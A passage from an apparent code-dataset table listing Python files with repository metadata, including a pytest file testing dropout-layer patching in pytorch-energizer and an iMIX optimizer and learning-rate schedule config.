j = Jenkins('http://localhost:7070', 'admin', 'admin')
try:
r... | 0 | 0 | 0 | 0 | 0 | 2,321 | 0 | 8 | 182 |
5f968e20abf0e8744ab0f764e694f9f7faacc904 | 3,233 | py | Python | tests/unit/inference/test_utils.py | pietrolesci/pytorch-energizer | 31b23347967963cda704bda8b05f3e567368c9bb | [
"MIT"
] | null | null | null | tests/unit/inference/test_utils.py | pietrolesci/pytorch-energizer | 31b23347967963cda704bda8b05f3e567368c9bb | [
"MIT"
] | null | null | null | tests/unit/inference/test_utils.py | pietrolesci/pytorch-energizer | 31b23347967963cda704bda8b05f3e567368c9bb | [
"MIT"
] | null | null | null | import pytest
import torch
from pytorch_lightning.utilities.exceptions import MisconfigurationException
from energizer.inference.utils import (patch_dropout_layers)
from tests.utils import NUM_FEATURES
def test_patch_exceptions(boring_model):
"""Test if errors are raised on inputs."""
model = boring_model(to... | 32.33 | 110 | 0.695329 | import pytest
import torch
from pytorch_lightning.utilities.exceptions import MisconfigurationException
from energizer.inference.utils import (
AlphaDropout,
Dropout,
Dropout2d,
Dropout3d,
FeatureAlphaDropout,
local_seed,
patch_dropout_layers,
)
from tests.utils import NUM_FEATURES
def te... | 0 | 2,170 | 0 | 0 | 0 | 291 | 0 | 109 | 92 |
bcd3e6ace8bb0b08661714bed7d480bed4837b9d | 400 | py | Python | configs/_base_/schedules/schedule_textvqa.py | inspur-hsslab/iMIX | 99898de97ef8b45462ca1d6bf2542e423a73d769 | [
"Apache-2.0"
] | 23 | 2021-06-26T08:45:19.000Z | 2022-03-02T02:13:33.000Z | configs/_base_/schedules/schedule_textvqa.py | XChuanLee/iMIX | 99898de97ef8b45462ca1d6bf2542e423a73d769 | [
"Apache-2.0"
] | null | null | null | configs/_base_/schedules/schedule_textvqa.py | XChuanLee/iMIX | 99898de97ef8b45462ca1d6bf2542e423a73d769 | [
"Apache-2.0"
] | 9 | 2021-06-10T02:36:20.000Z | 2021-11-09T02:18:16.000Z | optimizer = dict(type='Adam', lr=1e-4, weight_decay=0, eps=1e-8, training_encoder_lr_multiply=1)
optimizer_config = dict(grad_clip=dict(
clip_norm_mode='all',
max_grad_l2_norm=0.25,
use_scale=True,
))
lr_config = dict(
use_warmup=True,
lr_steps=[14000, 19000],
lr_ratio=0.1,
warmup_factor=0.... | 23.529412 | 96 | 0.705 | optimizer = dict(type='Adam', lr=1e-4, weight_decay=0, eps=1e-8, training_encoder_lr_multiply=1)
optimizer_config = dict(grad_clip=dict(
clip_norm_mode='all',
max_grad_l2_norm=0.25,
use_scale=True,
))
lr_config = dict(
use_warmup=True,
lr_steps=[14000, 19000],
lr_ratio=0.1,
warmup_factor=0.... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |